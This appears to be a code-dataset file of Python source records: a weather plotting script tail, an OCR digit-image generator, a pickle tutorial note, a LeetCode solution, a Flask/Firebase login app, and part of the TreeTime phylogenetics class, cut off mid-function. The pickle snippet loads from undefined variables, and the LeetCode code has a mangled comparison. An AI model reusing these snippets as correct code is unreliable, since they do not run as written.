method='nearest').isel(time=4)\n\n# EXAMPLES: DIAGONAL CROSS-SECTIONS\n# # plotting along diagonals takes time because of interpolation:\n# # IMPORTANT: select time step BEFORE calling slice_diag\n\n# ds_diag = slice_diag(ds.isel(time=2), 5.5, 47.3, 17.5, 47.8)\n# data_out = calculate_all_vars(ds_diag)\n\n# ds_diag = slice_diag(ds.isel(time=2), 5.5, 46.0, 17.5, 55.0)\n# data_out = calculate_all_vars(ds_diag)\n\n\nfig_t, ax_t = Temperature_plot(data_out).make_figure()\nfig_wind, ax_wind = Wind_plot(data_out).make_figure()\nfig_rh, ax_rh = RH_plot(data_out).make_figure()\n# fig_prcp, ax_prcp = Precipitation_plot(data_out).make_figure()\n# fig_Nm, axNm = Stability_plot(data_out, meshgrid, axis).make_figure()\n\nif savefigs:\n time = str(data_out.time.dt.strftime(\"%Y%m%d_%H\").values)\n fig_t.savefig(path_figs+time+'_T.png',\n dpi=200, bbox_inches='tight', format='png')\n fig_wind.savefig(path_figs+time+'_wspd.png',\n dpi=200, bbox_inches='tight', format='png')\n fig_rh.savefig(path_figs+time+'_RH.png',\n dpi=200, bbox_inches='tight', format='png')\n","sub_path":"main_bash.py","file_name":"main_bash.py","file_ext":"py","file_size_in_byte":4872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"184948081","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Feb 13 16:09:29 2020\n\n@author: JianjinL\n\"\"\"\nimport os\nimport cv2\nimport random\nimport json\nimport numpy as np\nfrom PIL import Image, ImageFont, ImageDraw\n\n#待训练字符集\nDIGITS = {0:'0', 1:'1', 2:'2',3: '3',4: '4',5: '5',6: '6',7: '7',8: '8',9: '9'}\n\ndef gen_text(data_dir, train_num):\n '''\n 随机生成不定长样本数据\n :param data_dir: 生成样本保存的文件夹5\n :param train_num: 生成样本数据的数量\n :return:\n '''\n\n labels = {}\n #循环生成样本图片\n for i in range(train_num):\n #加载字体文件位置\n font_path = '../font/' + random.choice(os.listdir('../font/'))\n #字体大小\n font_size = random.randint(20, 40)\n #创建一个字体对象\n font = ImageFont.truetype(font_path, font_size)\n #创建一个字典保存标签\n #随机生成文本的长度,最大长度为10\n rnd = random.randint(1, 10)\n #创建承装文本的容器,初始化为空字符串\n text = ''\n label = []\n #随机生成指定文本长度的字符集\n for j in range(rnd):\n #随机取得字符集中的一个元素,加入容器中\n randnum = random.randint(0, len(DIGITS)-1)\n text = text + DIGITS[randnum]\n label.append(randnum)\n #新建一个图像对象,mode=\"RGB\",size=(256,32),color=随机值\n red_image = random.randint(0, 255)\n yellow_image = random.randint(0, 255)\n blue_image = random.randint(0, 255)\n text_x,text_y = (random.randint(0,50), random.randint(0,20))\n #图片大小\n images = (text_x+ rnd*22 + random.randint(0, 2), text_y+font_size+random.randint(5, 10))\n img = Image.new(\"RGB\", images, 'white')\n #创建画图接口\n draw = ImageDraw.Draw(img)\n #将生成的文本写入图片\n red_text = random.randint(0, 255)\n yellow_text = random.randint(0, 255)\n blue_text = random.randint(0, 255)\n draw.text((text_x,text_y), text, font=font, fill=(red_text, yellow_text, blue_text))\n #将图片转换为数组对象\n img=np.array(img)\n #向图片中加入椒盐噪声,模拟真实环境\n img = img_salt_pepper_noise(img, float(random.randint(1,5)/100.0))\n #将图片写入文件夹中\n cv2.imwrite(data_dir + str(i+1) + '.jpg',img)\n labels[i+1] = label\n #将图片序号与标签对映关系写入json中\n with open(data_dir+\"labels.json\",\"w\",encoding='utf-8') as f:\n json.dump(labels,f)\n \ndef img_salt_pepper_noise(src, percetage):\n '''\n 为图片加入椒盐噪声\n :param src: 图片数组对象\n :param percetage: 加入噪声的比例\n :return NoiseImg: 加入椒盐噪声后的图片数组对象\n '''\n NoiseImg = src\n #噪声数量\n NoiseNum = int(percetage * src.shape[0] * src.shape[1])\n #将噪声点随机加入图片中\n for i in range(NoiseNum):\n randX = random.randint(0,src.shape[0]-1)\n randY = random.randint(0,src.shape[1]-1)\n if random.randint(0,1) == 0:\n NoiseImg[randX,randY] = random.randint(0, 255)\n else:\n NoiseImg[randX,randY] = random.randint(0, 255)\n return NoiseImg\n \nif __name__ == '__main__':\n #生成训练集\n gen_text('../../images/number_10/train/', 32000)\n #生成验证集\n gen_text('../../images/number_10/test/', 3200)\n #生成测试集\n gen_text('../../images/number_10/validation/', 3200)","sub_path":"dataset/create_data/number_10/create.py","file_name":"create.py","file_ext":"py","file_size_in_byte":3554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"92952770","text":"# 언피클링. 반드시 'rb' 바이너리 읽기 모드로 해야함.\n# 27.3 pickling\nimport pickle\n\nwith open('james.p', 'rb') as file:\n name = pickle.load(file)\n age = pickle.load(file)\n address = pickle.load(address)\n scores = pickle.load(scores)\n print(name, age, address, scores)\n\n# 앞에서 james.p를 저장할 때, pickle.dump를 4번 사용\n# 마찬가지로 pickle.load를 4번 사용해아함\n# name, age, address, scores 순으로 저장했으니 순차적으로 가져오면 됨.\n\n# 다른 파일 모드\n# r : 읽기모드\n# w : 쓰기모드\n# a : 추가모드, 이미 있는 파일에서 끝에 새로운 내용을 추가\n# x : 배타적 생성모드, 파일이 이미 있으면 에러, 없으면 파일 만듦\n\n# 파일의 형식\n# t : 텍스트모드\n# b : 바이너리 모드\n\n# + : 읽기/쓰기 모드\n\n# 파일 열기\n# 읽기 전용 : 'r'\n# 쓰기 전용 : 'w' 파일의 내용을 버림, 'a' 파일의 끝에 추가, 'x' 파일이 있으면 에러\n# 읽기/쓰기 : 'w+' 파일의 내용을 버림, \n","sub_path":"STUDY/CodingDojang/Unit 27/27-3-2 pickle_load.py","file_name":"27-3-2 pickle_load.py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"391968161","text":"class Solution(object):\n def nextGreaterElement(self, n):\n \"\"\"\n :type n: int\n :rtype: int\n \"\"\"\n nums=list(str(n))\n i=len(nums)-1\n while i>0:\n if nums[i-1]x and nums[j]<=nums[index]):\n index=j\n print(i,index)\n nums[index],nums[i-1]=nums[i-1],nums[index]\n temp=sorted(nums[i:])\n nums=nums[:i]+temp\n nums=int(''.join(nums))\n return nums if nums<2**31 else -1","sub_path":"medium/556. Next Greater Element III.py","file_name":"556. Next Greater Element III.py","file_ext":"py","file_size_in_byte":675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"246756493","text":"import sys\nimport os\nimport traceback\nimport datetime\nimport json\nimport logging\nimport datetime as dt\nimport model_src as my\nfrom flask import Flask, redirect, url_for, session, request, jsonify, Markup, render_template, flash, abort, Response\nfrom firebase_admin import db, credentials, auth\nimport firebase_admin\nfrom google.appengine.api import mail\n\n\napp = Flask(__name__)\n\napp.debug = True # Change this to False for production\n\napp.secret_key = os.environ[\"SECRET_KEY\"] # used to sign session cookies\n\n# Fetch the service account key JSON file contents\ncred = credentials.Certificate('firebase-authtoken.json')\n\n# Initialize the app with a custom auth variable, limiting the server's access\nfirebase_admin.initialize_app(cred)\n\ndbRef = db.reference('/')\n\n\n# User-Facing Pages\n@app.route('/')\ndef home():\n if my.active_session_exists(session):\n rest = my.reload_request_session(session)\n else:\n rest = my.create_request_session(session, dbRef, None)\n rest.save_session(session)\n\n return render_template(\"home.html\", core=get_base_template_data(rest, \"home\"))\n\n\n# Handlers\n@app.route('/handlers/login', methods=[\"GET\", \"POST\"])\ndef handle_login():\n if not my.active_session_exists(session) and \"session_active\" not in session:\n print(\"Redirecting due to dead session\")\n return redirect(url_for(\".home\"))\n\n rest = my.reload_request_session(session)\n\n user_token = request.form[\"token\"]\n\n decoded_token = auth.verify_id_token(user_token)\n uid = decoded_token['uid']\n usr_obj = my.User.retrieve_by_token(uid, dbRef)\n\n rest.current_user = usr_obj\n rest.save_session(session)\n\n return redirect(url_for(\".home\"))\n\n\n@app.route('/handlers/logout', methods=[\"GET\", \"POST\"])\ndef handle_logout():\n my.RequestSession.deactivate(session)\n\n return redirect(url_for(\".home\"))\n\n@app.route('/handlers/create-user', methods=[\"GET\", \"POST\"])\ndef handle_create_user():\n if not my.active_session_exists(session):\n return redirect(url_for(\".home\"))\n\n rest = my.reload_request_session(session)\n\n user_token = request.form[\"token\"]\n name = request.form[\"name\"]\n\n decoded_token = auth.verify_id_token(user_token)\n uid = decoded_token['uid']\n email = decoded_token['email']\n\n nusr = my.User(uid, get_new_id(\"users\"), email)\n\n nusr.save(dbRef)\n\n rest.current_user = nusr\n rest.save_session(session)\n\n return redirect(url_for(\".home\"))\n\n\n# Database Methods\n@app.route('/database/request/account-status', methods=[\"POST\"])\ndef request_invite_status():\n return \"XXX\"\n\n\n# Internal Methods\ndef require_login():\n rest = my.reload_request_session(session)\n\n if not rest.logged_in():\n return False\n if not my.active_session_exists(session):\n return False\n\n return True\n\n\ndef get_new_id(kind):\n return \"x0001\"\n\n\ndef get_base_template_data(rest, page):\n modUsr = rest.current_user.as_dict() if rest.current_user else None\n\n out = {\n 'logged_in': rest.logged_in(),\n 'user': modUsr,\n 'links': rest.current_user.get_available_links(page=page) if rest.current_user else None\n }\n\n return out\n\n\n@app.errorhandler(500)\ndef server_error(e):\n print('An error occurred during a request.')\n return \"\"\"\n An internal error occurred:
{}
\n See logs for full stacktrace.\n \"\"\".format(e), 500\n\n\n@app.context_processor\ndef override_url_for():\n return dict(url_for=dated_url_for)\n\n\ndef dated_url_for(endpoint, **values):\n if endpoint == 'static':\n filename = values.get('filename', None)\n if filename:\n file_path = os.path.join(app.root_path,\n endpoint, filename)\n values['q'] = dt.datetime.now()\n return url_for(endpoint, **values)\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"653162025","text":"from __future__ import print_function, division\nfrom clock_tree import ClockTree\nfrom utils import *\nimport config as ttconf\nimport io as tt_io\nimport numpy as np\nfrom scipy import optimize as sciopt\n\n\nclass TreeTime(ClockTree):\n \"\"\"\n TreeTime is a wrapper class to ClockTree that adds additional functionality\n such as reroot, detection and exclusion of outliers, resolution of polytomies\n using temporal information, and relaxed molecular clock models\n \"\"\"\n def __init__(self, *args,**kwargs):\n super(TreeTime, self).__init__(*args, **kwargs)\n self.n_iqd = ttconf.NIQD\n\n def run(self, root=None, infer_gtr=True, relaxed_clock=False, n_iqd = None,\n resolve_polytomies=True, max_iter=0, Tc=None, fixed_slope=None,\n do_marginal=False, **kwargs):\n # initially, infer ancestral sequences and infer gtr model if desired\n self.optimize_sequences_and_branch_length(infer_gtr=infer_gtr,\n sample_from_profile='root',\n prune_short=True)\n avg_root_to_tip = np.mean([x.dist2root for x in self.tree.get_terminals()])\n\n # optionally reroot the tree either by oldest, best regression or with a specific leaf\n if n_iqd or root=='clock_filter':\n if \"plot_rtt\" in kwargs and kwargs[\"plot_rtt\"]:\n plot_rtt=True\n else:\n plot_rtt=False\n self.clock_filter(reroot='best' if root=='clock_filter' else root,\n n_iqd=n_iqd, plot=plot_rtt)\n elif root is not None:\n self.reroot(root=root)\n\n # infer time tree and optionally resolve polytomies\n self.logger(\"###TreeTime.run: INITIAL ROUND\",0)\n self.make_time_tree(slope=fixed_slope, do_marginal=False, **kwargs)\n self.LH = [[self.tree.sequence_joint_LH, self.tree.positional_joint_LH]]\n\n # iteratively reconstruct ancestral sequences and re-infer\n # time tree to ensure convergence.\n niter = 0\n while niter < max_iter:\n\n self.logger(\"###TreeTime.run: ITERATION %d out of %d iterations\"%(niter+1,max_iter),0)\n # add coalescent prior\n if Tc and (Tc is not None):\n from merger_models import Coalescent\n self.logger('TreeTime.run: adding coalescent prior with Tc='+str(Tc),1)\n self.merger_model = Coalescent(self.tree, Tc=avg_root_to_tip,\n date2dist=self.date2dist, logger=self.logger)\n if niter==max_iter-1:\n if Tc=='opt':\n self.merger_model.optimize_Tc()\n self.logger(\"optimized Tc to %f\"%self.merger_model.Tc.y[0], 2)\n elif Tc=='skyline':\n self.merger_model.optimize_skyline(**kwargs)\n self.logger(\"optimized a skyline \", 2)\n else:\n try:\n self.set_Tc(Tc)\n except:\n pass\n self.merger_model.attach_to_tree()\n if relaxed_clock:\n # estimate a relaxed molecular clock\n self.relaxed_clock(**relaxed_clock)\n\n n_resolved=0\n if resolve_polytomies:\n # if polytomies are found, rerun the entire procedure\n n_resolved = self.resolve_polytomies()\n if n_resolved:\n self.prepare_tree()\n self.optimize_sequences_and_branch_length(prune_short=False,\n max_iter=0,sample_from_profile='root')\n self.make_time_tree(slope=fixed_slope, do_marginal=False, **kwargs)\n ndiff = self.infer_ancestral_sequences('ml',sample_from_profile='root')\n else:\n ndiff = self.infer_ancestral_sequences('ml',sample_from_profile='root')\n self.make_time_tree(slope=fixed_slope, do_marginal=False, **kwargs)\n elif (Tc and (Tc is not None)) or relaxed_clock: # need new timetree first\n self.make_time_tree(slope=fixed_slope, do_marginal=False, **kwargs)\n ndiff = self.infer_ancestral_sequences('ml',sample_from_profile='root')\n else: # no refinements, just iterate\n ndiff = self.infer_ancestral_sequences('ml',sample_from_profile='root')\n self.make_time_tree(slope=fixed_slope, do_marginal=False, **kwargs)\n\n if Tc:\n self.tree.coalescent_joint_LH = self.merger_model.total_LH()\n\n self.LH.append([self.tree.sequence_joint_LH, self.tree.positional_joint_LH, self.tree.coalescent_joint_LH])\n niter+=1\n\n if ndiff==0 & n_resolved==0:\n self.logger(\"###TreeTime.run: CONVERGED\",0)\n break\n\n # if marginal reconstruction requested, make one more round with marginal=True\n # this will set marginal_pos_LH, which to be used as error bar estimations\n if do_marginal:\n self.logger(\"###TreeTime.run: FINAL ROUND - confidence estimation via marginal reconstruction\", 0)\n self.make_time_tree(slope=fixed_slope, do_marginal=do_marginal, **kwargs)\n\n\n\n\n def clock_filter(self, reroot='best', n_iqd=None, plot=False):\n '''\n labels outlier branches that don't seem to follow a molecular clock\n and excludes them from subsequent the molecular clock estimate and\n the timetree propagation\n '''\n if n_iqd is None:\n n_iqd = self.n_iqd\n\n terminals = self.tree.get_terminals()\n if reroot:\n self.reroot(root=reroot)\n icpt, slope = self.tree.root._alpha, self.tree.root._beta\n else:\n tmp_date2dist = utils.DateConversion.from_tree(self.tree)\n icpt, slope = tmp_date2dist.intercept, tmp_date2dist.slope\n\n res = {}\n for node in terminals:\n if hasattr(node, 'numdate_given') and (node.numdate_given is not None):\n res[node] = node.dist2root - slope*np.mean(node.numdate_given) - icpt\n residuals = np.array(res.values())\n iqd = np.percentile(residuals,75) - np.percentile(residuals,25)\n for node,r in res.iteritems():\n if abs(r)>n_iqd*iqd and node.up.up is not None:\n self.logger('TreeTime.ClockFilter: marking %s as outlier, residual %f interquartile distances'%(node.name,r/iqd), 3)\n node.bad_branch=True\n else:\n node.bad_branch=False\n\n if plot:\n self.plot_root_to_tip()\n\n # redo root estimation after outlier removal\n if reroot:\n self.reroot(root=reroot)\n\n\n def plot_root_to_tip(self, add_internal=False, label=True, ax=None, **kwargs):\n import matplotlib.pyplot as plt\n tips = self.tree.get_terminals()\n internal = self.tree.get_nonterminals()\n if ax is None:\n plt.figure()\n ax=plt.subplot(111)\n dates = np.array([np.mean(n.numdate_given) for n in tips])\n dist = np.array([n.dist2root for n in tips])\n ind = np.array([n.bad_branch for n in tips])\n # plot tips\n ax.scatter(dates[ind], dist[ind] , c='r', label=\"bad tips\" if label else \"\" , **kwargs)\n ax.scatter(dates[~ind], dist[~ind], c='g', label=\"good tips\" if label else \"\", **kwargs)\n if add_internal and hasattr(self.tree.root, \"numdate\"):\n dates = np.array([n.numdate for n in internal])\n dist = np.array([n.dist2root for n in internal])\n ind = np.array([n.bad_branch for n in internal])\n # plot internal\n ax.scatter(dates[~ind], dist[~ind], c='b', marker='<', label=\"internal\" if label else \"\", **kwargs)\n\n if label:\n ax.legend(loc=2)\n ax.set_ylabel('root-to-tip distance')\n ax.set_xlabel('date')\n ax.ticklabel_format(useOffset=False)\n plt.tight_layout()\n\n\n def reroot(self,root='best'):\n self.logger(\"TreeTime.reroot: with method or node: %s\"%root,1)\n for n in self.tree.find_clades():\n n.branch_length=n.mutation_length\n from Bio import Phylo\n if isinstance(root,Phylo.BaseTree.Clade):\n new_root = root\n elif root in self._leaves_lookup:\n new_root = self._leaves_lookup[root]\n elif root=='oldest':\n new_root = sorted([n for n in self.tree.get_terminals()\n if n.numdate_given is not None],\n key=lambda x:np.mean(x.numdate_given))[0]\n elif root=='best':\n new_root = self.reroot_to_best_root()\n else:\n self.logger('TreeTime.reroot -- WARNING: unsupported rooting mechanisms or root not found',2,warn=True)\n return\n\n self.logger(\"TreeTime.reroot: Tree is being re-rooted to node \"\n +('new_node' if new_root.name is None else new_root.name), 2)\n self.tree.root_with_outgroup(new_root)\n # new nodes are produced when rooting with a terminal node, copy this clock info\n if new_root.is_terminal():\n self.tree.root._alpha = new_root._alpha\n self.tree.root._beta = new_root._beta\n self.tree.root.branch_length = self.one_mutation\n for n in self.tree.find_clades():\n n.mutation_length=n.branch_length\n self.tree.root.numdate_given = None\n # set root.gamma bc root doesn't have a branch_length_interpolator but gamma is needed\n if not hasattr(self.tree.root, 'gamma'):\n self.tree.root.gamma = 1.0\n self.prepare_tree()\n\n\n def resolve_polytomies(self, merge_compressed=False, rerun=True):\n \"\"\"\n Resolve the polytomies on the tree.\n The function scans the tree, resolves polytomies in case there are any,\n and re-optimizes the tree with new topology.\n Args:\n - merge_compressed(bool): whether to keep compressed branches as\n polytomies or return a strictly binary tree.\n \"\"\"\n self.logger(\"TreeTime.resolve_polytomies: resolving multiple mergers...\",1)\n\n poly_found=0\n for n in self.tree.find_clades():\n if len(n.clades) > 2:\n proir_n_clades = len(n.clades)\n self._poly(n, merge_compressed)\n poly_found+=proir_n_clades - len(n.clades)\n\n obsolete_nodes = [n for n in self.tree.find_clades() if len(n.clades)==1 and n.up is not None]\n for node in obsolete_nodes:\n self.logger('TreeTime.resolve_polytomies: remove obsolete node '+node.name,4)\n if node.up is not None:\n self.tree.collapse(node)\n\n if poly_found:\n self.logger('TreeTime.resolve_polytomies: introduces %d new nodes'%poly_found,3)\n else:\n self.logger('TreeTime.resolve_polytomies: No more polytomies to resolve',3)\n return poly_found\n\n\n def _poly(self, clade, merge_compressed, verbose=1):\n\n \"\"\"\n Function to resolve polytomies for a given parent node. If the\n number of the direct decendants is less than three (not a polytomy), does\n nothing. Otherwise, for each pair of nodes, assess the possible LH increase\n which could be gained by merging the two nodes. The increase in the LH is\n basically the tradeoff between the gain of the LH due to the changing the\n branch lenghts towards the optimal values and the decrease due to the\n introduction of the new branch with zero optimal length.\n \"\"\"\n\n from branch_len_interpolator import BranchLenInterpolator\n from Bio import Phylo\n\n zero_branch_slope = self.gtr.mu*self.seq_len\n\n def _c_gain(t, n1, n2, parent):\n \"\"\"\n cost gain if nodes n1, n2 are joined and their parent is placed at time t\n cost gain = (LH loss now) - (LH loss when placed at time t)\n \"\"\"\n cg2 = n2.branch_length_interpolator(parent.time_before_present - n2.time_before_present) - n2.branch_length_interpolator(t - n2.time_before_present)\n cg1 = n1.branch_length_interpolator(parent.time_before_present - n1.time_before_present) - n1.branch_length_interpolator(t - n1.time_before_present)\n cg_new = - zero_branch_slope * (parent.time_before_present - t) # loss in LH due to the new branch\n return -(cg2+cg1+cg_new)\n\n def cost_gain(n1, n2, parent):\n \"\"\"\n cost gained if the two nodes would have been connected.\n \"\"\"\n cg = sciopt.minimize_scalar(_c_gain,\n bounds=[max(n1.time_before_present,n2.time_before_present), parent.time_before_present],\n method='Bounded',args=(n1,n2, parent))\n return cg['x'], - cg['fun']\n\n def merge_nodes(source_arr, isall=False):\n mergers = np.array([[cost_gain(n1,n2, clade) if i1 1 + int(isall):\n # max possible gains of the cost when connecting the nodes:\n # this is only a rough approximation because it assumes the new node positions\n # to be optimal\n new_positions = mergers[:,:,0]\n cost_gains = mergers[:,:,1]\n # set zero to large negative value and find optimal pair\n np.fill_diagonal(cost_gains, -1e11)\n idxs = np.unravel_index(cost_gains.argmax(),cost_gains.shape)\n if (idxs[0] == idxs[1]) or cost_gains.max()<0:\n self.logger(\"TreeTime._poly.merge_nodes: node is not fully resolved \"+clade.name,4)\n return LH\n\n n1, n2 = source_arr[idxs[0]], source_arr[idxs[1]]\n LH += cost_gains[idxs]\n\n new_node = Phylo.BaseTree.Clade()\n\n # fix positions and branch lengths\n new_node.time_before_present = new_positions[idxs]\n new_node.branch_length = clade.time_before_present - new_node.time_before_present\n new_node.clades = [n1,n2]\n n1.branch_length = new_node.time_before_present - n1.time_before_present\n n2.branch_length = new_node.time_before_present - n2.time_before_present\n\n # set parameters for the new node\n new_node.up = clade\n n1.up = new_node\n n2.up = new_node\n new_node.sequence = clade.sequence\n self.store_compressed_sequence_to_node(new_node)\n\n new_node.mutations = []\n new_node.mutation_length = 0.0\n new_node.branch_length_interpolator = BranchLenInterpolator(new_node, self.gtr, one_mutation=self.one_mutation)\n clade.clades.remove(n1)\n clade.clades.remove(n2)\n clade.clades.append(new_node)\n self.logger('TreeTime._poly.merge_nodes: creating new node as child of '+clade.name,3)\n self.logger(\"TreeTime._poly.merge_nodes: Delta-LH = \" + str(cost_gains[idxs].round(3)), 3)\n\n # and modify source_arr array for the next loop\n if len(source_arr)>2: # if more than 3 nodes in polytomy, replace row/column\n for ii in np.sort(idxs)[::-1]:\n tmp_ind = np.arange(mergers.shape[0])!=ii\n mergers = mergers[tmp_ind].swapaxes(0,1)\n mergers = mergers[tmp_ind].swapaxes(0,1)\n\n source_arr.remove(n1)\n source_arr.remove(n2)\n new_gains = np.array([[cost_gain(n1,new_node, clade) for n1 in source_arr]])\n mergers = np.vstack((mergers, new_gains)).swapaxes(0,1)\n\n source_arr.append(new_node)\n new_gains = np.array([[cost_gain(n1,new_node, clade) for n1 in source_arr]])\n mergers = np.vstack((mergers, new_gains)).swapaxes(0,1)\n else: # otherwise just recalculate matrix\n source_arr.remove(n1)\n source_arr.remove(n2)\n source_arr.append(new_node)\n mergers = np.array([[cost_gain(n1,n2, clade) for n1 in source_arr]\n for n2 in source_arr])\n\n return LH\n\n stretched = [c for c in clade.clades if c.mutation_length < c.clock_length]\n compressed = [c for c in clade.clades if c not in stretched]\n\n if len(stretched)==1 and merge_compressed==False:\n return 0.0\n\n LH = merge_nodes(stretched, isall=len(stretched)==len(clade.clades))\n if merge_compressed and len(compressed)>1:\n LH += merge_nodes(compressed, isall=len(compressed)==len(clade.clades))\n\n return LH\n\n\n def print_lh(self, joint=True):\n \"\"\"\n Print the total likelihood of the tree given the constrained leaves\n \"\"\"\n try:\n u_lh = self.tree.unconstrained_sequence_LH\n if joint:\n s_lh = self.tree.sequence_joint_LH\n t_lh = self.tree.positional_joint_LH\n c_lh = self.tree.coalescent_joint_LH\n else:\n s_lh = self.tree.sequence_marginal_LH\n t_lh = self.tree.positional_marginal_LH\n c_ls = 0\n\n print (\"### Tree Log-Likelihood ###\\n\"\n \" Sequence log-LH without constraints: \\t%1.3f\\n\"\n \" Sequence log-LH with constraints: \\t%1.3f\\n\"\n \" TreeTime sequence log-LH: \\t%1.3f\\n\"\n \" Coalescent log-LH: \\t%1.3f\\n\"\n \"#########################\"%(u_lh, s_lh,t_lh, c_lh))\n except:\n print(\"ERROR. Did you run the corresponding inference (joint/marginal)?\")\n\n\n def relaxed_clock(self, slack=None, coupling=None):\n \"\"\"\n Allow the mutation rate to vary on the tree (relaxed molecular clock).\n Changes of the mutation rates from one branch to another are penalized.\n In addition, deviations of the mutation rate from the mean rate are\n penalized.\n \"\"\"\n if slack is None: slack=ttconf.MU_ALPHA\n if coupling is None: coupling=ttconf.MU_BETA\n self.logger(\"TreeTime.relaxed_clock: slack=%f, coupling=%f\"%(slack, coupling),2)\n\n c=1.0/self.one_mutation\n for node in self.tree.find_clades(order='postorder'):\n opt_len = node.mutation_length\n\n # opt_len \\approx 1.0*len(node.mutations)/node.profile.shape[0] but calculated via gtr model\n # contact term: stiffness*(g*bl - bl_opt)^2 + slack(g-1)^2 =\n # (slack+bl^2) g^2 - 2 (bl*bl_opt+1) g + C= k2 g^2 + k1 g + C\n node._k2 = slack + c*node.branch_length**2/(opt_len+self.one_mutation)\n node._k1 = -2*(c*node.branch_length*opt_len/(opt_len+self.one_mutation) + slack)\n # coupling term: \\sum_c coupling*(g-g_c)^2 + Cost_c(g_c|g)\n # given g, g_c needs to be optimal-> 2*coupling*(g-g_c) = 2*child.k2 g_c + child.k1\n # hence g_c = (coupling*g - 0.5*child.k1)/(coupling+child.k2)\n # substituting yields\n for child in node.clades:\n denom = coupling+child._k2\n node._k2 += coupling*(1.0-coupling/denom)**2 + child._k2*coupling**2/denom**2\n node._k1 += (coupling*(1.0-coupling/denom)*child._k1/denom \\\n - coupling*child._k1*child._k2/denom**2 \\\n + coupling*child._k1/denom)\n\n for node in self.tree.find_clades(order='preorder'):\n if node.up is None:\n node.gamma =- 0.5*node._k1/node._k2\n else:\n if node.up.up is None:\n g_up = node.up.gamma\n else:\n g_up = node.up.branch_length_interpolator.gamma\n node.branch_length_interpolator.gamma = (coupling*g_up - 0.5*node._k1)/(coupling+node._k2)\n\n\n###############################################################################\n### rerooting\n###############################################################################\n def find_best_root_and_regression(self):\n \"\"\"\n Find the best root for the tree in linear time, given the timestamps of\n the leaves. The branch lengths should be optimized prior to the run;\n the terminal nodes should have the timestamps assigned as numdate_given\n attribute.\n \"\"\"\n sum_ti = np.sum([np.mean(node.numdate_given) for node in self.tree.get_terminals() if (not node.bad_branch)])\n sum_ti2 = np.sum([np.mean(node.numdate_given)**2 for node in self.tree.get_terminals() if (not node.bad_branch)])\n N = 1.0*len([x for x in self.tree.get_terminals() if not x.bad_branch])\n Ninv = 1.0/N\n time_variance = (N*sum_ti2 - sum_ti**2)*Ninv**2\n\n # fill regression terms for one of the two subtrees\n for node in self.tree.find_clades(order='postorder'): # children first, msg to parents\n if node.is_terminal(): # inititalize the leaves\n # will not rely on the standard func - count terminals directly\n node._st_n_leaves = 0 if node.bad_branch else 1\n node._st_di = 0.0\n node._st_diti = 0.0\n node._st_di2 = 0.0\n\n if node.bad_branch:\n node._st_ti = 0\n else:\n node._st_ti = np.mean(node.numdate_given)\n\n node._ti = sum_ti\n else:\n # for non-terminal nodes,\n node._st_ti = np.sum([k._st_ti for k in node.clades])\n node._st_n_leaves = np.sum([k._st_n_leaves for k in node.clades])\n node._st_di = np.sum([k._st_di + k._st_n_leaves*k.branch_length for k in node.clades])\n node._st_diti = np.sum([k._st_diti + k.branch_length*k._st_ti for k in node.clades])\n node._st_di2 = np.sum([k._st_di2 + 2*k._st_di*k.branch_length + k._st_n_leaves*k.branch_length**2\n for k in node.clades])\n node._ti = sum_ti\n node.bad_branch = np.all([x.bad_branch for x in node])\n\n best_root = self.tree.root\n for node in self.tree.find_clades(order='preorder'): # root first\n\n if node.up is None:\n # assign the values for the root node\n node._di = node._st_di\n node._diti = node._st_diti\n node._di2 = node._st_di2\n\n dist_variance = (N*node._di2 - node._di**2)*(Ninv**2)\n disttime_cov = (N*node._diti - sum_ti*node._di)*(Ninv**2)\n time_variance = time_variance\n\n node._beta = disttime_cov/time_variance\n node._alpha = (node._di - node._beta*sum_ti)/N\n node._R2 = disttime_cov**2/(time_variance*dist_variance)\n node._R2_delta_x = 0.0 # there is no branch to move the root\n elif node.bad_branch:\n node._beta = np.nan\n node._alpha = np.nan\n node._R2 = 0.0\n node._R2_delta_x = 0.0\n\n else: # based on the parent, compute the values for regression\n # NOTE order of these computation matters\n n_up = N - node._st_n_leaves\n n_down = node._st_n_leaves\n L = node.branch_length\n node._di = node.up._di + (n_up-n_down)*L\n node._di2 = (node.up._di2 + 2*L*node.up._di\n - 4*(L*(node._st_di + n_down*L))\n + N*L**2)\n node._diti = node.up._diti + L*(sum_ti - 2*node._st_ti)\n\n\n ## Express Node's sum_Di as the function of parent's sum_Di\n # and **displacement from parent's node x** :\n # sum_Di = A1 + A2 * x\n A1 = node.up._di\n A2 = n_up - n_down\n\n ## Express Node's sum_Di**2 as the function of parent's params\n # and **displacement from parent's node x** :\n # sum_Di2 = B1 + B2 * x + B3 * x**2\n B1 = node.up._di2\n B2 = 2 * (node.up._di - 2 * node._st_di - 2 * L * n_down )\n B3 = N\n\n ## Express Node's sum_DiTi as the function of parent's params\n # and **displacement from parent's node x** :\n # sum_DiTi = C1 + C2 * x\n C1 = node.up._diti\n C2 = sum_ti - 2 * node._st_ti\n\n ## Substituting Ai, Bi, Ci to the expression for R2, and\n ## making all the algebra, we get the R2 as the function of the\n ## displacement from the parent's node x:\n # R2(x) = CONST * (alpha * x**2 + beta * x+ gamma) / (mu * x**2 + nu * x + delta)\n # Expressions for alpha, beta, etc through Ai, Bi, Ci:\n alpha = (N * C2 - sum_ti * A2)**2\n beta = 2 * (N*C2 - sum_ti*A2) * (N*C1 - sum_ti*A1)\n gamma = (N*C1 - sum_ti*A1)**2\n mu = N * B3 - A2**2\n nu = N * B2 - 2 * A1 * A2\n delta = N * B1 - A1**2\n\n # Search for the maximum of R2 in the middle of the branch.\n # Eq: dR2/dx = 0 -> square equation:\n # x**2*(alpha*nu - beta * mu) + 2x*(alpha*delta-mu*gamma) + (beta*delta - nu*gamma) = 0\n # look for the root(s):\n # Determinant is\n D2 = (alpha * delta - mu * gamma) ** 2 - (alpha * nu - beta * mu) * (beta * delta - nu * gamma)\n\n if D2 < 0:\n # somehow there is no extremum for the R2(x) function\n x1 = -1.0 # any arbitrary value out of range [0, L], see below\n x2 = -1.0\n else:\n # actual roots - the extrema for the R2(x) function\n if 